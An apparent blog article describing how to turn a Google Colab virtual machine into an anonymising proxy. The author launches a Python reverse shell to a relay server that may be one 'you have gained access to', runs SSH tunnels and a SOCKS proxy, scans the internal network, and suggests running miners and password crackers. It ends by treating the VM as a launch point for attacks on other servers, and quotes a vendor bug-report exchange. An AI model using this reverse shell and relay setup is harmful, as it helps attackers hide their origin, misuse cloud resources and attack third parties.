Google provides a free virtual machine service to test machine learning topics, but in this article we will abuse such service to browse anonymously from the Google VM’s IP.
These VMs have certain limitations such as a maximum life of 12 hours and they reset if they are idle for too long.
To make the whole process a bit more “stealthy”, I will access and make all connections to a server called Gary. This can be a server that you own or have gained access to in some way. The point is that Google never sees the IP address of our home.
In Gary, we prepare the reception of the reverse connection:
We configure the web browser to use a proxy-socks in Gary for the traffic to exit, then in GoogleColab we launch the reverse connection from the web CLI:
In Gary, we should have a root shell:
uid=0(root) gid=0(root) groups=0(root)
We take a look at the system and see that it is a KVM:
[ 0.000000] Linux version 5.4.104+ (builder@81cc40d87d7b) (Chromium OS 12.0_pre408248_p20201125-r7 clang version 12.0.0 (/var/tmp/portage/sys-devel/llvm-12.0_pre408248_p20201125-r7/work/llvm-12.0_pre408248_p20201125/clang f402e682d0ef5598eeffc9a21a691b03e602ff58)) #1 SMP Sat Jun 5 09:50:34 PDT 2021
[ 0.000000] DMI: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011
[ 0.000000] Hypervisor detected: KVM
[ 1.704333] systemd[1]: Detected virtualization kvm.
[ 1.999305] systemd[1]: Proceeding WITHOUT firewalling in effect! (This warning is only shown for the first loaded unit using IP firewalling.)
[ 4.088037] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/ipv6/netfilter/ip6_tables.ko" pid=300 cmdline="/sbin/modprobe ip6_tables"
[ 4.143487] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/ipv6/netfilter/ip6table_filter.ko" pid=306 cmdline="/sbin/modprobe -q -- ip6table_filter"
[ 4.241535] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/netfilter/xt_state.ko" pid=322 cmdline="/sbin/modprobe -q -- ipt_state"
[ 7.985461] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/bridge/br_netfilter.ko" pid=454 cmdline="modprobe -va bridge br_netfilter"
[ 7.996406] Bridge firewalling registered
[ 8.008630] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/netfilter/nf_nat.ko" pid=457 cmdline="/sbin/modprobe -q -- iptable_nat"
[ 8.019320] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/ipv4/netfilter/iptable_nat.ko" pid=457 cmdline="/sbin/modprobe -q -- iptable_nat"
[ 8.048762] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/netfilter/xt_addrtype.ko" pid=467 cmdline="/sbin/modprobe -q -- ipt_addrtype"
[ 8.183836] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/netfilter/xt_MASQUERADE.ko" pid=504 cmdline="/sbin/modprobe -q -- ipt_MASQUERADE"
[ 11.831028] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/sched/sch_htb.ko" pid=704 cmdline="/sbin/modprobe -q -- sch_htb"
[ 11.851161] HTB: quantum of class 10001 is big. Consider r2q change.
[ 11.862327] LoadPin: kernel-module pinning-excluded obj="/lib/modules/5.4.104+/kernel/net/sched/cls_u32.ko" pid=709 cmdline="/sbin/modprobe -q -- cls_u32"
A fairly modern kernel:
Linux 09572f6e5558 5.4.104+ #1 SMP Sat Jun 5 09:50:34 PDT 2021 x86_64 x86_64 x86_64 GNU/Linux
The Ubuntu version is quite outdated:
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.5 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
Ext4 and overlay file system:
Filesystem Type Size Used Avail Use% Mounted on
overlay overlay 108G 37G 71G 35% /
tmpfs tmpfs 64M 0 64M 0% /dev
tmpfs tmpfs 6.4G 0 6.4G 0% /sys/fs/cgroup
shm tmpfs 5.9G 0 5.9G 0% /dev/shm
tmpfs tmpfs 6.4G 36K 6.4G 1% /var/colab
/dev/sda1 ext4 76G 42G 35G 55% /etc/hosts
tmpfs tmpfs 6.4G 0 6.4G 0% /proc/acpi
tmpfs tmpfs 6.4G 0 6.4G 0% /proc/scsi
tmpfs tmpfs 6.4G 0 6.4G 0% /sys/firmware
A quite powerful CPU:
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 63
model name : Intel(R) Xeon(R) CPU @ 2.30GHz
stepping : 0
microcode : 0x1
cpu MHz : 2299.998
cache size : 46080 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 1
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 13
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology nonstop_tsc cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm invpcid_single ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt arat md_clear arch_capabilities
bugs : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs
bogomips : 4599.99
clflush size : 64
cache_alignment : 64
address sizes : 46 bits physical, 48 bits virtual
power management:
processor : 1
vendor_id : GenuineIntel
cpu family : 6
model : 63
model name : Intel(R) Xeon(R) CPU @ 2.30GHz
stepping : 0
microcode : 0x1
cpu MHz : 2299.998
cache size : 46080 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 1
apicid : 1
initial apicid : 1
fpu : yes
fpu_exception : yes
cpuid level : 13
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology nonstop_tsc cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm invpcid_single ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt arat md_clear arch_capabilities
bugs : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs
bogomips : 4599.99
clflush size : 64
cache_alignment : 64
address sizes : 46 bits physical, 48 bits virtual
power management:
And 12GB of RAM:
total used free shared buff/cache available
Mem: 12991 512 10091 1 2388 12211
Swap: 0 0 0
We can see that they have a bit of everything running, a Node app and Jupyter:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 0.3 339812 50028 ? Ssl 21:08 0:01 /tools/node/bin/node /datalab/web/app.js
root 16 0.0 0.0 35892 4820 ? Ss 21:08 0:00 tail -n +0 -F /root/.config/Google/DriveFS/Logs/dpb.txt /root/.config/Google/DriveFS/Logs/drive_fs.txt
root 51 0.1 0.4 193892 59800 ? Sl 21:09 0:01 /usr/bin/python2 /usr/local/bin/jupyter-notebook --ip="172.28.0.2" --port=9000 --FileContentsManager.root_dir="/" --MappingKernelManager.root_dir="/content"
root 52 0.1 0.0 708216 10016 ? Sl 21:09 0:01 /usr/local/bin/dap_multiplexer --domain_socket_path=/tmp/debugger_vx9vv6b8m
root 63 0.6 0.8 699976 115940 ? Ssl 21:10 0:06 /usr/bin/python3 -m ipykernel_launcher -f /root/.local/share/jupyter/runtime/kernel-a4277f05-0d8b-4aaa-8d1b-82f3da445847.json
root 83 0.3 0.1 128664 15972 ? Sl 21:10 0:02 /usr/bin/python3 /usr/local/lib/python3.7/dist-packages/debugpy/adapter --for-server 40973 --host 127.0.0.1 --port 18229 --server-access-token 8ff4906cd012266aca367d4dbfbed9c59964bbe9dbcb55fe04ab124564ca4c7e
root 205 0.0 0.1 51740 14308 ? S 21:24 0:00 python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("gary_ip",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
root 210 0.0 0.0 34308 4872 ? S 21:24 0:00 /bin/sh -i
root 228 0.0 0.0 59036 6392 ? R 21:26 0:00 ps auxwww
Let’s take a look at the system users:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
nvidia-persistenced:x:104:108:NVIDIA Persistence Daemon,,,:/nonexistent:/usr/sbin/nologin
Finding the public IP is a bit complicated since it doesn’t have an IP, ifconfig, route, and curl doesn’t work, but we can connect to our server like Gary and check the connection origin:
On Gary, we put a tcpdump:
23:28:45.338795 IP 35.186.177.6.48186 > gary_ip.51443: Flags [P.], seq 1962:2110, ack 1736, win 501, options [nop,nop,TS val 247778615 ecr 2014444252], length 148
We can see that its WAN address is: 35.193.177.6
The private IP address can be obtained in two ways, directly from /proc or by installing the necessary tools since we have root shell:
Main:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.28.0.0/16 2 0 2
+-- 172.28.0.0/30 2 0 2
|-- 172.28.0.0
/32 link BROADCAST
/16 link UNICAST
|-- 172.28.0.2
/32 host LOCAL
|-- 172.28.255.255
/32 link BROADCAST
Local:
+-- 0.0.0.0/0 3 0 5
|-- 0.0.0.0
/0 universe UNICAST
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 172.28.0.0/16 2 0 2
+-- 172.28.0.0/30 2 0 2
|-- 172.28.0.0
/32 link BROADCAST
/16 link UNICAST
|-- 172.28.0.2
/32 host LOCAL
|-- 172.28.255.255
/32 link BROADCAST
Installing the tools would be as follows:
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.28.0.2 netmask 255.255.0.0 broadcast 172.28.255.255
ether 02:42:ac:1c:00:02 txqueuelen 0 (Ethernet)
RX packets 2580 bytes 716941 (716.9 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2264 bytes 500525 (500.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 26563 bytes 9402692 (9.4 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 26563 bytes 9402692 (9.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 172.28.0.1 0.0.0.0 UG 0 0 0 eth0
172.28.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0
Let’s see what else is on the network using Nmap:
Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-01 18:54 UTC
Nmap scan report for 172.28.0.1
Host is up (-0.031s latency).
MAC Address: 02:42:88:9F:77:C1 (Unknown)
Nmap scan report for kmp_default.br0 (172.28.0.3)
Host is up (0.000027s latency).
MAC Address: 02:42:AC:1C:00:03 (Unknown)
Nmap scan report for 09572f6e5558 (172.28.0.2)
Host is up.
So far we have been working in a non-interactive shell, due to this some commands may behave anomalously. To get an interactive shell, we install the ssh server:
We enable root access:
We start the service:
We check that it is working:
root 1489 0.0 0.0 72304 3388 ? Ss 19:04 0:00 /usr/sbin/sshd
We generate the ssh keys for root:
To make the whole tunneling process more comfortable without having to type passwords, we add the Gary user’s key to the authorized_keys of the Google VM and the Google keys to Gary’s authorized_keys:
[\033[01;34m]\w[\033[00m]$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCJnu9CPaPODrtN8MCj89XNnDZMJRnCyVVitOIHKZZafCPXgqoM8o6GMTbi8wuuVD2XslqKdEkfboBoOJZCYMPPdNRrS3YAczqIzrzcYQC86YjEn5eJ8qbtbQbUE/m3Kk7pdYeC2b97ez3tm64P4/fxZ+D2dnulWiLuQ0GMvTO5wjLzaFWlyU1PwTuWaQX4V0mMIyKlO9n8NaMJrRRac6QjU7QkU/oU0u62YPUXB8aVVyuqTUbEOArsU/co4DYwom9FMJEIL+BNFt+Ub7D1TWwNWzuRfaoZHdHXfbYwNbLrJHfg/kC9HOybQpfAPOHiLGfDLJQpZe1MCNE8HSVctaf kr0m@gary" » .ssh/authorized_keys
Now the Google keys on Gary:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qpZvrPmOYE9twaAY2u3QUu8XX5MdNXw2xLPt91HwXEbq+5f7NdHiuA0h1DbD+IR/Bvf2iHK5l59eSYMkzUcgPZSDS3+LKmofMp9Z0FYX3X9fTt0O6y17E0eVJXSmmBwdUJUvkEkaEVHD8wjJgBk4WPKNeof3e3pSbhPAXfewrNBIAzE8A2Ybcyz5/IBTsaL6prV1cB1FRKzhNO/+OQ5jlmlkHzjdF55QXdm0jp0iiFX+BtM4qKN4uDoklbqp9CXAn8W2LKE6cwkpoOQSH9Wg+RJmF2J1QOAmruSXdUJEw07gxrYsknOV5ma9vd/uBQMxiNSvcF9UnzdoS/n/Ckaf root@8647f8b545bd
NOTE: We have added keys and have not used passwords for convenience, but also because we do not know if Google has any kind of keylogger in the VM or something similar. If we use passwords, Google could obtain our password.
Before creating SSH tunnels, it is important to note that all SSH tunnels we use must have a high local port 8080, as the SSH connection is made with a regular user and cannot bind to low ports because they are privileged ports.
We create a tunnel to obtain an interactive SSH session:
In Gary, we connect:
We now have an interactive shell!
In addition, we have created a SOCKS proxy to be able to browse through the Google machine. To prevent our SOCKS proxy from being completely exposed, we can define firewall rules and control access.
We configure the browser to:
gary_ip:1080
And we can see that we are exiting with Google’s IP:
Sending emails from this VM could be interesting since it is a Google IP address, but it seems that it is not possible as the traffic must be filtered:
Trying 92.189.150.26...
This VM is quite powerful, with 2 Intel Xeon @ 2.30GHz, 12GB of RAM, and 108GB of disk. We could also upload any type of software that requires computing power and run it there, such as cryptocurrency miners, password crackers, and more.
Remember that if we have enabled the use of GPU in Colab, we will have at our disposal a state-of-the-art graphics card:
https://colab.research.google.com/notebooks/gpu.ipynb#scrollTo=oM_8ELnJq_wd
*-display
description: 3D controller
product: GK210GL [Tesla K80]
vendor: NVIDIA Corporation
physical id: 4
bus info: pci@0000:00:04.0
version: a1
width: 64 bits
clock: 33MHz
capabilities: msi pm bus_master cap_list
configuration: driver=nvidia latency=0
resources: iomemory:40-3f iomemory:80-7f irq:35 memory:c0000000-c0ffffff memory:400000000-7ffffffff memory:800000000-801ffffff ioport:c000(size=128)
On this machine, we have root access, so we can install all the tools we need.
The only drawback is that these VMs are reset every 12 hours or if the machine is idle for too long. Therefore, any process we carry out must be saved frequently so that in case of a restart, we can load the latest data and continue from that point.
Several points must be taken into account before doing something we shouldn’t:
- Google knows the data with which we have logged into GoogleColab, including the history of previous logins.
- I have used a second server (gary) as an intermediate jump, but if we didn’t have it, we would be exposing the IP address of our home.
All of this has been reported to Google, but they responded as follows:
Hi! Regarding your report: Colab allows code execution by design. Code is executed in a virtual machine dedicated to your account. Virtual machines are recycled when idle for a certain period of time, their maximum lifetime is enforced by the system. See here for more details.
For these reasons, we won't submit a bug based on your report.
Thanks again for your report and time,
The Google Bug Hunter Team
To which I replied:
Hello
In that way it is possible to use the VM as proxy and generate other
attacks to other Internet servers from a Google ip, is it the correct
behaviour?
Best regards
And they finally answered with:
yes
So I suppose they don’t mind us using their servers as a proxy or as a point of attack towards other Internet servers.